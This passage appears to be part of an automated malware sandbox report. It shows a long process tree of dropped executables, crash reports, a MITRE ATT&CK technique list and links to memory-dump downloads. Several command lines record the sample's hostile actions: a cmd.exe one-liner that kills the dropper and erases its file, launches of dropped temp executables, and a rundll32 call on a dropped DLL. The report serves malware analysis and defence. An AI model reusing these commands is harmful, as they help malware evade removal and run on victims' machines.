- - C:\Users\Admin\Documents\uDb_R3p2ShAvIFcROwQCMO5F.exe
    C:\Users\Admin\Documents\uDb_R3p2ShAvIFcROwQCMO5F.exe
    3⤵
    PID:18820
- - C:\Users\Admin\Documents\uDb_R3p2ShAvIFcROwQCMO5F.exe
    C:\Users\Admin\Documents\uDb_R3p2ShAvIFcROwQCMO5F.exe
    3⤵
    PID:19396
- - C:\Users\Admin\Documents\uDb_R3p2ShAvIFcROwQCMO5F.exe
    C:\Users\Admin\Documents\uDb_R3p2ShAvIFcROwQCMO5F.exe
    3⤵
    PID:18960
- - C:\Users\Admin\Documents\uDb_R3p2ShAvIFcROwQCMO5F.exe
    C:\Users\Admin\Documents\uDb_R3p2ShAvIFcROwQCMO5F.exe
    3⤵
    PID:19344
- - C:\Users\Admin\Documents\uDb_R3p2ShAvIFcROwQCMO5F.exe
    C:\Users\Admin\Documents\uDb_R3p2ShAvIFcROwQCMO5F.exe
    3⤵
    PID:17128
- - C:\Users\Admin\Documents\uDb_R3p2ShAvIFcROwQCMO5F.exe
    C:\Users\Admin\Documents\uDb_R3p2ShAvIFcROwQCMO5F.exe
    3⤵
    PID:15204
- - C:\Users\Admin\Documents\uDb_R3p2ShAvIFcROwQCMO5F.exe
    C:\Users\Admin\Documents\uDb_R3p2ShAvIFcROwQCMO5F.exe
    3⤵
    PID:19652
- - C:\Users\Admin\Documents\uDb_R3p2ShAvIFcROwQCMO5F.exe
    C:\Users\Admin\Documents\uDb_R3p2ShAvIFcROwQCMO5F.exe
    3⤵
    PID:19996
- - C:\Users\Admin\Documents\uDb_R3p2ShAvIFcROwQCMO5F.exe
    C:\Users\Admin\Documents\uDb_R3p2ShAvIFcROwQCMO5F.exe
    3⤵
    PID:20308
- - C:\Users\Admin\Documents\uDb_R3p2ShAvIFcROwQCMO5F.exe
    C:\Users\Admin\Documents\uDb_R3p2ShAvIFcROwQCMO5F.exe
    3⤵
    PID:15064
- - C:\Users\Admin\Documents\uDb_R3p2ShAvIFcROwQCMO5F.exe
    C:\Users\Admin\Documents\uDb_R3p2ShAvIFcROwQCMO5F.exe
    3⤵
    PID:14668
- - C:\Users\Admin\Documents\uDb_R3p2ShAvIFcROwQCMO5F.exe
    C:\Users\Admin\Documents\uDb_R3p2ShAvIFcROwQCMO5F.exe
    3⤵
    PID:5244
- - C:\Users\Admin\Documents\uDb_R3p2ShAvIFcROwQCMO5F.exe
    C:\Users\Admin\Documents\uDb_R3p2ShAvIFcROwQCMO5F.exe
    3⤵
    PID:20380
- - C:\Users\Admin\Documents\uDb_R3p2ShAvIFcROwQCMO5F.exe
    C:\Users\Admin\Documents\uDb_R3p2ShAvIFcROwQCMO5F.exe
    3⤵
    PID:14576
- - C:\Users\Admin\Documents\uDb_R3p2ShAvIFcROwQCMO5F.exe
    C:\Users\Admin\Documents\uDb_R3p2ShAvIFcROwQCMO5F.exe
    3⤵
    PID:18744
- - C:\Users\Admin\Documents\uDb_R3p2ShAvIFcROwQCMO5F.exe
    C:\Users\Admin\Documents\uDb_R3p2ShAvIFcROwQCMO5F.exe
    3⤵
    PID:12608
- - C:\Users\Admin\Documents\uDb_R3p2ShAvIFcROwQCMO5F.exe
    C:\Users\Admin\Documents\uDb_R3p2ShAvIFcROwQCMO5F.exe
    3⤵
    PID:20748
- - C:\Users\Admin\Documents\uDb_R3p2ShAvIFcROwQCMO5F.exe
    C:\Users\Admin\Documents\uDb_R3p2ShAvIFcROwQCMO5F.exe
    3⤵
    PID:21192
- - C:\Users\Admin\Documents\uDb_R3p2ShAvIFcROwQCMO5F.exe
    C:\Users\Admin\Documents\uDb_R3p2ShAvIFcROwQCMO5F.exe
    3⤵
    PID:21496
- - C:\Users\Admin\Documents\uDb_R3p2ShAvIFcROwQCMO5F.exe
    C:\Users\Admin\Documents\uDb_R3p2ShAvIFcROwQCMO5F.exe
    3⤵
    PID:20532
- - C:\Users\Admin\Documents\uDb_R3p2ShAvIFcROwQCMO5F.exe
    C:\Users\Admin\Documents\uDb_R3p2ShAvIFcROwQCMO5F.exe
    3⤵
    PID:20940
- - C:\Users\Admin\Documents\uDb_R3p2ShAvIFcROwQCMO5F.exe
    C:\Users\Admin\Documents\uDb_R3p2ShAvIFcROwQCMO5F.exe
    3⤵
    PID:20716
- - C:\Users\Admin\Documents\uDb_R3p2ShAvIFcROwQCMO5F.exe
    C:\Users\Admin\Documents\uDb_R3p2ShAvIFcROwQCMO5F.exe
    3⤵
    PID:19976
  - - C:\Windows\SysWOW64\WerFault.exe
      C:\Windows\SysWOW64\WerFault.exe -u -p 19976 -s 24
      4⤵
      PID:18636
- - C:\Users\Admin\Documents\uDb_R3p2ShAvIFcROwQCMO5F.exe
    C:\Users\Admin\Documents\uDb_R3p2ShAvIFcROwQCMO5F.exe
    3⤵
    PID:12928
- - C:\Users\Admin\Documents\uDb_R3p2ShAvIFcROwQCMO5F.exe
    C:\Users\Admin\Documents\uDb_R3p2ShAvIFcROwQCMO5F.exe
    3⤵
    PID:19672
- - C:\Users\Admin\Documents\uDb_R3p2ShAvIFcROwQCMO5F.exe
    C:\Users\Admin\Documents\uDb_R3p2ShAvIFcROwQCMO5F.exe
    3⤵
    PID:7536
- - C:\Users\Admin\Documents\uDb_R3p2ShAvIFcROwQCMO5F.exe
    C:\Users\Admin\Documents\uDb_R3p2ShAvIFcROwQCMO5F.exe
    3⤵
    PID:11372
- - C:\Users\Admin\Documents\uDb_R3p2ShAvIFcROwQCMO5F.exe
    C:\Users\Admin\Documents\uDb_R3p2ShAvIFcROwQCMO5F.exe
    3⤵
    PID:21840
- - C:\Users\Admin\Documents\uDb_R3p2ShAvIFcROwQCMO5F.exe
    C:\Users\Admin\Documents\uDb_R3p2ShAvIFcROwQCMO5F.exe
    3⤵
    PID:22240
- - C:\Users\Admin\Documents\uDb_R3p2ShAvIFcROwQCMO5F.exe
    C:\Users\Admin\Documents\uDb_R3p2ShAvIFcROwQCMO5F.exe
    3⤵
    PID:19692
- - C:\Users\Admin\Documents\uDb_R3p2ShAvIFcROwQCMO5F.exe
    C:\Users\Admin\Documents\uDb_R3p2ShAvIFcROwQCMO5F.exe
    3⤵
    PID:20904
- - C:\Users\Admin\Documents\uDb_R3p2ShAvIFcROwQCMO5F.exe
    C:\Users\Admin\Documents\uDb_R3p2ShAvIFcROwQCMO5F.exe
    3⤵
    PID:22132
- - C:\Users\Admin\Documents\uDb_R3p2ShAvIFcROwQCMO5F.exe
    C:\Users\Admin\Documents\uDb_R3p2ShAvIFcROwQCMO5F.exe
    3⤵
    PID:22208
- - C:\Users\Admin\Documents\uDb_R3p2ShAvIFcROwQCMO5F.exe
    C:\Users\Admin\Documents\uDb_R3p2ShAvIFcROwQCMO5F.exe
    3⤵
    PID:21200
- - C:\Users\Admin\Documents\uDb_R3p2ShAvIFcROwQCMO5F.exe
    C:\Users\Admin\Documents\uDb_R3p2ShAvIFcROwQCMO5F.exe
    3⤵
    PID:22348
- - C:\Users\Admin\Documents\uDb_R3p2ShAvIFcROwQCMO5F.exe
    C:\Users\Admin\Documents\uDb_R3p2ShAvIFcROwQCMO5F.exe
    3⤵
    PID:19472
- - C:\Users\Admin\Documents\uDb_R3p2ShAvIFcROwQCMO5F.exe
    C:\Users\Admin\Documents\uDb_R3p2ShAvIFcROwQCMO5F.exe
    3⤵
    PID:22524
- - C:\Users\Admin\Documents\uDb_R3p2ShAvIFcROwQCMO5F.exe
    C:\Users\Admin\Documents\uDb_R3p2ShAvIFcROwQCMO5F.exe
    3⤵
    PID:22348
- - C:\Users\Admin\Documents\uDb_R3p2ShAvIFcROwQCMO5F.exe
    C:\Users\Admin\Documents\uDb_R3p2ShAvIFcROwQCMO5F.exe
    3⤵
    PID:22056
- - C:\Users\Admin\Documents\uDb_R3p2ShAvIFcROwQCMO5F.exe
    C:\Users\Admin\Documents\uDb_R3p2ShAvIFcROwQCMO5F.exe
    3⤵
    PID:21600
- - C:\Users\Admin\Documents\uDb_R3p2ShAvIFcROwQCMO5F.exe
    C:\Users\Admin\Documents\uDb_R3p2ShAvIFcROwQCMO5F.exe
    3⤵
    PID:22056
- - C:\Users\Admin\Documents\uDb_R3p2ShAvIFcROwQCMO5F.exe
    C:\Users\Admin\Documents\uDb_R3p2ShAvIFcROwQCMO5F.exe
    3⤵
    PID:22184
- - C:\Users\Admin\Documents\uDb_R3p2ShAvIFcROwQCMO5F.exe
    C:\Users\Admin\Documents\uDb_R3p2ShAvIFcROwQCMO5F.exe
    3⤵
    PID:22656
- - C:\Users\Admin\Documents\uDb_R3p2ShAvIFcROwQCMO5F.exe
    C:\Users\Admin\Documents\uDb_R3p2ShAvIFcROwQCMO5F.exe
    3⤵
    PID:23272
- - C:\Users\Admin\Documents\uDb_R3p2ShAvIFcROwQCMO5F.exe
    C:\Users\Admin\Documents\uDb_R3p2ShAvIFcROwQCMO5F.exe
    3⤵
    PID:22708
- - C:\Users\Admin\Documents\uDb_R3p2ShAvIFcROwQCMO5F.exe
    C:\Users\Admin\Documents\uDb_R3p2ShAvIFcROwQCMO5F.exe
    3⤵
    PID:22640
- - C:\Users\Admin\Documents\uDb_R3p2ShAvIFcROwQCMO5F.exe
    C:\Users\Admin\Documents\uDb_R3p2ShAvIFcROwQCMO5F.exe
    3⤵
    PID:22164
- - C:\Users\Admin\Documents\uDb_R3p2ShAvIFcROwQCMO5F.exe
    C:\Users\Admin\Documents\uDb_R3p2ShAvIFcROwQCMO5F.exe
    3⤵
    PID:15856
- - C:\Users\Admin\Documents\uDb_R3p2ShAvIFcROwQCMO5F.exe
    C:\Users\Admin\Documents\uDb_R3p2ShAvIFcROwQCMO5F.exe
    3⤵
    PID:5240
- - C:\Users\Admin\Documents\uDb_R3p2ShAvIFcROwQCMO5F.exe
    C:\Users\Admin\Documents\uDb_R3p2ShAvIFcROwQCMO5F.exe
    3⤵
    PID:10272
- - C:\Users\Admin\Documents\uDb_R3p2ShAvIFcROwQCMO5F.exe
    C:\Users\Admin\Documents\uDb_R3p2ShAvIFcROwQCMO5F.exe
    3⤵
    PID:23608
- - C:\Users\Admin\Documents\uDb_R3p2ShAvIFcROwQCMO5F.exe
    C:\Users\Admin\Documents\uDb_R3p2ShAvIFcROwQCMO5F.exe
    3⤵
    PID:23964
- - C:\Users\Admin\Documents\uDb_R3p2ShAvIFcROwQCMO5F.exe
    C:\Users\Admin\Documents\uDb_R3p2ShAvIFcROwQCMO5F.exe
    3⤵
    PID:24316
- - C:\Users\Admin\Documents\uDb_R3p2ShAvIFcROwQCMO5F.exe
    C:\Users\Admin\Documents\uDb_R3p2ShAvIFcROwQCMO5F.exe
    3⤵
    PID:23216
- - C:\Users\Admin\Documents\uDb_R3p2ShAvIFcROwQCMO5F.exe
    C:\Users\Admin\Documents\uDb_R3p2ShAvIFcROwQCMO5F.exe
    3⤵
    PID:15892
- - C:\Users\Admin\Documents\uDb_R3p2ShAvIFcROwQCMO5F.exe
    C:\Users\Admin\Documents\uDb_R3p2ShAvIFcROwQCMO5F.exe
    3⤵
    PID:24388
- - C:\Users\Admin\Documents\uDb_R3p2ShAvIFcROwQCMO5F.exe
    C:\Users\Admin\Documents\uDb_R3p2ShAvIFcROwQCMO5F.exe
    3⤵
    PID:24484
- - C:\Users\Admin\Documents\uDb_R3p2ShAvIFcROwQCMO5F.exe
    C:\Users\Admin\Documents\uDb_R3p2ShAvIFcROwQCMO5F.exe
    3⤵
    PID:20676
- - C:\Users\Admin\Documents\uDb_R3p2ShAvIFcROwQCMO5F.exe
    C:\Users\Admin\Documents\uDb_R3p2ShAvIFcROwQCMO5F.exe
    3⤵
    PID:25284
- - C:\Users\Admin\Documents\uDb_R3p2ShAvIFcROwQCMO5F.exe
    C:\Users\Admin\Documents\uDb_R3p2ShAvIFcROwQCMO5F.exe
    3⤵
    PID:24952
- - C:\Users\Admin\Documents\uDb_R3p2ShAvIFcROwQCMO5F.exe
    C:\Users\Admin\Documents\uDb_R3p2ShAvIFcROwQCMO5F.exe
    3⤵
    PID:25592
- - C:\Users\Admin\Documents\uDb_R3p2ShAvIFcROwQCMO5F.exe
    C:\Users\Admin\Documents\uDb_R3p2ShAvIFcROwQCMO5F.exe
    3⤵
    PID:23588
- - C:\Users\Admin\Documents\uDb_R3p2ShAvIFcROwQCMO5F.exe
    C:\Users\Admin\Documents\uDb_R3p2ShAvIFcROwQCMO5F.exe
    3⤵
    PID:21328
- - C:\Users\Admin\Documents\uDb_R3p2ShAvIFcROwQCMO5F.exe
    C:\Users\Admin\Documents\uDb_R3p2ShAvIFcROwQCMO5F.exe
    3⤵
    PID:18944
- - C:\Users\Admin\Documents\uDb_R3p2ShAvIFcROwQCMO5F.exe
    C:\Users\Admin\Documents\uDb_R3p2ShAvIFcROwQCMO5F.exe
    3⤵
    PID:6356
- - C:\Users\Admin\Documents\uDb_R3p2ShAvIFcROwQCMO5F.exe
    C:\Users\Admin\Documents\uDb_R3p2ShAvIFcROwQCMO5F.exe
    3⤵
    PID:12044
- - C:\Users\Admin\Documents\uDb_R3p2ShAvIFcROwQCMO5F.exe
    C:\Users\Admin\Documents\uDb_R3p2ShAvIFcROwQCMO5F.exe
    3⤵
    PID:25420
- - C:\Users\Admin\Documents\uDb_R3p2ShAvIFcROwQCMO5F.exe
    C:\Users\Admin\Documents\uDb_R3p2ShAvIFcROwQCMO5F.exe
    3⤵
    PID:25972
- - C:\Users\Admin\Documents\uDb_R3p2ShAvIFcROwQCMO5F.exe
    C:\Users\Admin\Documents\uDb_R3p2ShAvIFcROwQCMO5F.exe
    3⤵
    PID:26444
- - C:\Users\Admin\Documents\uDb_R3p2ShAvIFcROwQCMO5F.exe
    C:\Users\Admin\Documents\uDb_R3p2ShAvIFcROwQCMO5F.exe
    3⤵
    PID:25820
- - C:\Users\Admin\Documents\uDb_R3p2ShAvIFcROwQCMO5F.exe
    C:\Users\Admin\Documents\uDb_R3p2ShAvIFcROwQCMO5F.exe
    3⤵
    PID:18556
- - C:\Users\Admin\Documents\uDb_R3p2ShAvIFcROwQCMO5F.exe
    C:\Users\Admin\Documents\uDb_R3p2ShAvIFcROwQCMO5F.exe
    3⤵
    PID:25768
- - C:\Users\Admin\Documents\uDb_R3p2ShAvIFcROwQCMO5F.exe
    C:\Users\Admin\Documents\uDb_R3p2ShAvIFcROwQCMO5F.exe
    3⤵
    PID:26256
- - C:\Users\Admin\Documents\uDb_R3p2ShAvIFcROwQCMO5F.exe
    C:\Users\Admin\Documents\uDb_R3p2ShAvIFcROwQCMO5F.exe
    3⤵
    PID:21144
- - C:\Users\Admin\Documents\uDb_R3p2ShAvIFcROwQCMO5F.exe
    C:\Users\Admin\Documents\uDb_R3p2ShAvIFcROwQCMO5F.exe
    3⤵
    PID:24744
- - C:\Users\Admin\Documents\uDb_R3p2ShAvIFcROwQCMO5F.exe
    C:\Users\Admin\Documents\uDb_R3p2ShAvIFcROwQCMO5F.exe
    3⤵
    PID:26516
- - C:\Users\Admin\Documents\uDb_R3p2ShAvIFcROwQCMO5F.exe
    C:\Users\Admin\Documents\uDb_R3p2ShAvIFcROwQCMO5F.exe
    3⤵
    PID:25528
- - C:\Users\Admin\Documents\uDb_R3p2ShAvIFcROwQCMO5F.exe
    C:\Users\Admin\Documents\uDb_R3p2ShAvIFcROwQCMO5F.exe
    3⤵
    PID:25432
- - C:\Users\Admin\Documents\uDb_R3p2ShAvIFcROwQCMO5F.exe
    C:\Users\Admin\Documents\uDb_R3p2ShAvIFcROwQCMO5F.exe
    3⤵
    PID:26812
  - - C:\Windows\SysWOW64\WerFault.exe
      C:\Windows\SysWOW64\WerFault.exe -u -p 26812 -s 24
      4⤵
      PID:27264
- - C:\Users\Admin\Documents\uDb_R3p2ShAvIFcROwQCMO5F.exe
    C:\Users\Admin\Documents\uDb_R3p2ShAvIFcROwQCMO5F.exe
    3⤵
    PID:27172
- - C:\Users\Admin\Documents\uDb_R3p2ShAvIFcROwQCMO5F.exe
    C:\Users\Admin\Documents\uDb_R3p2ShAvIFcROwQCMO5F.exe
    3⤵
    PID:27504
- - C:\Users\Admin\Documents\uDb_R3p2ShAvIFcROwQCMO5F.exe
    C:\Users\Admin\Documents\uDb_R3p2ShAvIFcROwQCMO5F.exe
    3⤵
    PID:26744
- - C:\Users\Admin\Documents\uDb_R3p2ShAvIFcROwQCMO5F.exe
    C:\Users\Admin\Documents\uDb_R3p2ShAvIFcROwQCMO5F.exe
    3⤵
    PID:27344
- - C:\Users\Admin\Documents\uDb_R3p2ShAvIFcROwQCMO5F.exe
    C:\Users\Admin\Documents\uDb_R3p2ShAvIFcROwQCMO5F.exe
    3⤵
    PID:26296
- - C:\Users\Admin\Documents\uDb_R3p2ShAvIFcROwQCMO5F.exe
    C:\Users\Admin\Documents\uDb_R3p2ShAvIFcROwQCMO5F.exe
    3⤵
    PID:26808
- - C:\Users\Admin\Documents\uDb_R3p2ShAvIFcROwQCMO5F.exe
    C:\Users\Admin\Documents\uDb_R3p2ShAvIFcROwQCMO5F.exe
    3⤵
    PID:24232
- - C:\Users\Admin\Documents\uDb_R3p2ShAvIFcROwQCMO5F.exe
    C:\Users\Admin\Documents\uDb_R3p2ShAvIFcROwQCMO5F.exe
    3⤵
    PID:21648
- - C:\Users\Admin\Documents\uDb_R3p2ShAvIFcROwQCMO5F.exe
    C:\Users\Admin\Documents\uDb_R3p2ShAvIFcROwQCMO5F.exe
    3⤵
    PID:4100
- - C:\Users\Admin\Documents\uDb_R3p2ShAvIFcROwQCMO5F.exe
    C:\Users\Admin\Documents\uDb_R3p2ShAvIFcROwQCMO5F.exe
    3⤵
    PID:26692
- - C:\Users\Admin\Documents\uDb_R3p2ShAvIFcROwQCMO5F.exe
    C:\Users\Admin\Documents\uDb_R3p2ShAvIFcROwQCMO5F.exe
    3⤵
    PID:27632
- - C:\Users\Admin\Documents\uDb_R3p2ShAvIFcROwQCMO5F.exe
    C:\Users\Admin\Documents\uDb_R3p2ShAvIFcROwQCMO5F.exe
    3⤵
    PID:27288
- - C:\Users\Admin\Documents\uDb_R3p2ShAvIFcROwQCMO5F.exe
    C:\Users\Admin\Documents\uDb_R3p2ShAvIFcROwQCMO5F.exe
    3⤵
    PID:27108
- - C:\Users\Admin\Documents\uDb_R3p2ShAvIFcROwQCMO5F.exe
    C:\Users\Admin\Documents\uDb_R3p2ShAvIFcROwQCMO5F.exe
    3⤵
    PID:27712
- - C:\Users\Admin\Documents\uDb_R3p2ShAvIFcROwQCMO5F.exe
    C:\Users\Admin\Documents\uDb_R3p2ShAvIFcROwQCMO5F.exe
    3⤵
    PID:28016
- - C:\Users\Admin\Documents\uDb_R3p2ShAvIFcROwQCMO5F.exe
    C:\Users\Admin\Documents\uDb_R3p2ShAvIFcROwQCMO5F.exe
    3⤵
    PID:28284
- - C:\Users\Admin\Documents\uDb_R3p2ShAvIFcROwQCMO5F.exe
    C:\Users\Admin\Documents\uDb_R3p2ShAvIFcROwQCMO5F.exe
    3⤵
    PID:28600
- - C:\Users\Admin\Documents\uDb_R3p2ShAvIFcROwQCMO5F.exe
    C:\Users\Admin\Documents\uDb_R3p2ShAvIFcROwQCMO5F.exe
    3⤵
    PID:27696
- - C:\Users\Admin\Documents\uDb_R3p2ShAvIFcROwQCMO5F.exe
    C:\Users\Admin\Documents\uDb_R3p2ShAvIFcROwQCMO5F.exe
    3⤵
    PID:27796
- - C:\Users\Admin\Documents\uDb_R3p2ShAvIFcROwQCMO5F.exe
    C:\Users\Admin\Documents\uDb_R3p2ShAvIFcROwQCMO5F.exe
    3⤵
    PID:28560
- - C:\Users\Admin\Documents\uDb_R3p2ShAvIFcROwQCMO5F.exe
    C:\Users\Admin\Documents\uDb_R3p2ShAvIFcROwQCMO5F.exe
    3⤵
    PID:26996
- C:\Users\Admin\Documents\sRCklHR2e__b4Fg2CV6Hdovz.exe
  "C:\Users\Admin\Documents\sRCklHR2e__b4Fg2CV6Hdovz.exe"
  2⤵
  - Executes dropped EXE
  PID:3596
- C:\Users\Admin\Documents\Rspwir2DxQKYhzpSzEO11YB0.exe
  "C:\Users\Admin\Documents\Rspwir2DxQKYhzpSzEO11YB0.exe"
  2⤵
  - Executes dropped EXE
  PID:204
- C:\Users\Admin\Documents\u3vUFlZZCtVjoov2wLv1c9_x.exe
  "C:\Users\Admin\Documents\u3vUFlZZCtVjoov2wLv1c9_x.exe"
  2⤵
  - Executes dropped EXE
  PID:3004
- - C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -u -p 3004 -s 764
    3⤵
    - Program crash
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:5440
- - C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -u -p 3004 -s 840
    3⤵
    - Program crash
    PID:6020
- - C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -u -p 3004 -s 872
    3⤵
    - Program crash
    PID:5352
- - C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -u -p 3004 -s 1096
    3⤵
    - Program crash
    PID:6456
- - C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -u -p 3004 -s 1136
    3⤵
    - Program crash
    PID:6064
- - C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -u -p 3004 -s 1368
    3⤵
    - Program crash
    PID:7384
- - C:\Windows\SysWOW64\cmd.exe
    "C:\Windows\System32\cmd.exe" /c start /I "" "C:\Users\Admin\AppData\Local\Temp\1176092524.exe"
    3⤵
    PID:7984
  - - C:\Users\Admin\AppData\Local\Temp\1176092524.exe
      "C:\Users\Admin\AppData\Local\Temp\1176092524.exe"
      4⤵
      PID:6316
- - C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -u -p 3004 -s 1740
    3⤵
    - Program crash
    PID:7396
- - C:\Windows\SysWOW64\cmd.exe
    "C:\Windows\System32\cmd.exe" /c start /I "" "C:\Users\Admin\AppData\Local\Temp\0154613149.exe"
    3⤵
    PID:8944
  - - C:\Users\Admin\AppData\Local\Temp\0154613149.exe
      "C:\Users\Admin\AppData\Local\Temp\0154613149.exe"
      4⤵
      PID:8592
- - C:\Windows\SysWOW64\cmd.exe
    "C:\Windows\System32\cmd.exe" /c taskkill /im "u3vUFlZZCtVjoov2wLv1c9_x.exe" /f & erase "C:\Users\Admin\Documents\u3vUFlZZCtVjoov2wLv1c9_x.exe" & exit
    3⤵
    PID:8992
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /im "u3vUFlZZCtVjoov2wLv1c9_x.exe" /f
      4⤵
      Kills process with taskkill
      PID:3280
- C:\Users\Admin\Documents\eXVGTDEJYPAUxTeG2N9Jlkwk.exe
  "C:\Users\Admin\Documents\eXVGTDEJYPAUxTeG2N9Jlkwk.exe"
  2⤵
  - Executes dropped EXE
  PID:1200
- - C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -u -p 1200 -s 656
    3⤵
    - Program crash
    PID:5728
- - C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -u -p 1200 -s 644
    3⤵
    - Program crash
    PID:6028
- - C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -u -p 1200 -s 676
    3⤵
    - Program crash
    PID:5316
- - C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -u -p 1200 -s 716
    3⤵
    - Program crash
    PID:2180
- - C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -u -p 1200 -s 900
    3⤵
    - Program crash
    PID:6864
- - C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -u -p 1200 -s 1128
    3⤵
    - Program crash
    PID:6224
- - C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -u -p 1200 -s 1108
    3⤵
    - Program crash
    PID:6720

C:\Windows\system32\rundll32.exe
rundll32.exe "C:\Users\Admin\AppData\Local\Temp\sqlite.dll",global
1⤵
- Process spawned unexpected child process
PID:7428
- C:\Windows\SysWOW64\rundll32.exe
  rundll32.exe "C:\Users\Admin\AppData\Local\Temp\sqlite.dll",global
  2⤵
  PID:5348

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k SystemNetworkService
1⤵
PID:5924

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 13760 -s 24
1⤵
- Program crash
PID:12776

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 25248 -s 24
1⤵
PID:17228

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Scheduled Task

T1053

Persistence

Modify Existing Service

T1031

Scheduled Task

T1053

Privilege Escalation

Scheduled Task

T1053

Defense Evasion

Disabling Security Tools

T1089

Modify Registry

T1112

Virtualization/Sandbox Evasion

T1497

Web Service

T1102

Credential Access

Credentials in Files

T1081

Discovery

Query Registry

T1012

System Information Discovery

T1082

Virtualization/Sandbox Evasion

T1497

Lateral Movement

Collection

Data from Local System

T1005

Command and Control

Web Service

T1102

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

memory/204-461-0x0000000003C90000-0x0000000003CC0000-memory.dmp

Filesize
192KB

Download
memory/216-390-0x0000000005280000-0x0000000005886000-memory.dmp

Filesize
6.0MB

Download
memory/488-298-0x0000000004F30000-0x0000000004F31000-memory.dmp

Filesize
4KB

Download
memory/488-325-0x0000000004F33000-0x0000000004F34000-memory.dmp

Filesize
4KB

Download
memory/488-294-0x0000000000400000-0x00000000005A2000-memory.dmp

Filesize
1.6MB

Download
memory/488-296-0x0000000002880000-0x000000000294F000-memory.dmp

Filesize
828KB

Download
memory/488-322-0x0000000004F34000-0x0000000004F36000-memory.dmp

Filesize
8KB

Download
memory/488-302-0x0000000004F32000-0x0000000004F33000-memory.dmp

Filesize
4KB

Download
memory/488-318-0x0000000000750000-0x00000000007DE000-memory.dmp

Filesize
568KB

Download
memory/860-114-0x0000000003740000-0x000000000387F000-memory.dmp

Filesize
1.2MB

Download
memory/1084-328-0x0000000004A60000-0x0000000005066000-memory.dmp

Filesize
6.0MB

Download
memory/1084-220-0x0000000004AE0000-0x0000000004AE1000-memory.dmp

Filesize
4KB

Download
memory/1084-197-0x00000000002A0000-0x00000000002A1000-memory.dmp

Filesize
4KB

Download
memory/1084-237-0x0000000004B40000-0x0000000004B41000-memory.dmp

Filesize
4KB

Download
memory/1084-246-0x0000000004B80000-0x0000000004B81000-memory.dmp

Filesize
4KB

Download
memory/1084-222-0x0000000004C10000-0x0000000004C11000-memory.dmp

Filesize
4KB

Download
memory/1084-214-0x0000000005070000-0x0000000005071000-memory.dmp

Filesize
4KB

Download
memory/1204-458-0x0000000000030000-0x0000000000033000-memory.dmp

Filesize
12KB

Download
memory/1544-228-0x0000000002F00000-0x0000000002F76000-memory.dmp

Filesize
472KB

Download
memory/1544-212-0x0000000005330000-0x0000000005331000-memory.dmp

Filesize
4KB

Download
memory/1544-225-0x0000000002F50000-0x0000000002F51000-memory.dmp

Filesize
4KB

Download
memory/1544-203-0x0000000000A70000-0x0000000000A71000-memory.dmp

Filesize
4KB

Download
memory/1708-477-0x00000000055E0000-0x0000000005BE6000-memory.dmp

Filesize
6.0MB

Download
memory/1804-464-0x00000000021B0000-0x00000000022FA000-memory.dmp

Filesize
1.3MB

Download
memory/2004-313-0x0000000000400000-0x0000000000593000-memory.dmp

Filesize
1.6MB

Download
memory/2004-290-0x00000000008C0000-0x0000000000993000-memory.dmp

Filesize
844KB

Download
memory/2148-205-0x00000000005B0000-0x00000000005B1000-memory.dmp

Filesize
4KB

Download
memory/2148-230-0x0000000004FF0000-0x0000000004FF1000-memory.dmp

Filesize
4KB

Download
memory/2364-474-0x00000000021A0000-0x00000000021D0000-memory.dmp

Filesize
192KB

Download
memory/2388-249-0x0000000005170000-0x0000000005171000-memory.dmp

Filesize
4KB

Download
memory/2388-224-0x00000000001E0000-0x00000000001E1000-memory.dmp

Filesize
4KB

Download
memory/2388-245-0x0000000005160000-0x0000000005161000-memory.dmp

Filesize
4KB

Download
memory/2388-235-0x0000000005150000-0x0000000005151000-memory.dmp

Filesize
4KB

Download
memory/2388-253-0x0000000005190000-0x0000000005191000-memory.dmp

Filesize
4KB

Download
memory/2388-274-0x0000000005220000-0x0000000005221000-memory.dmp

Filesize
4KB

Download
memory/2388-250-0x0000000005180000-0x0000000005181000-memory.dmp

Filesize
4KB

Download
memory/2388-327-0x0000000005250000-0x0000000005251000-memory.dmp

Filesize
4KB

Download
memory/2388-279-0x0000000005230000-0x0000000005231000-memory.dmp

Filesize
4KB

Download
memory/2388-270-0x0000000005210000-0x0000000005211000-memory.dmp

Filesize
4KB

Download
memory/2388-258-0x00000000051B0000-0x00000000051B1000-memory.dmp

Filesize
4KB

Download
memory/2388-260-0x00000000051C0000-0x00000000051C1000-memory.dmp

Filesize
4KB

Download
memory/2388-286-0x0000000005240000-0x0000000005241000-memory.dmp

Filesize
4KB

Download
memory/2388-257-0x00000000051A0000-0x00000000051A1000-memory.dmp

Filesize
4KB

Download
memory/2388-263-0x00000000051D0000-0x00000000051D1000-memory.dmp

Filesize
4KB

Download
memory/2388-264-0x00000000051E0000-0x00000000051E1000-memory.dmp

Filesize
4KB

Download
memory/2388-266-0x00000000051F0000-0x00000000051F1000-memory.dmp

Filesize
4KB

Download
memory/2388-267-0x0000000005200000-0x0000000005201000-memory.dmp

Filesize
4KB

Download
memory/2388-219-0x0000000003A60000-0x0000000003A9C000-memory.dmp

Filesize
240KB

Download
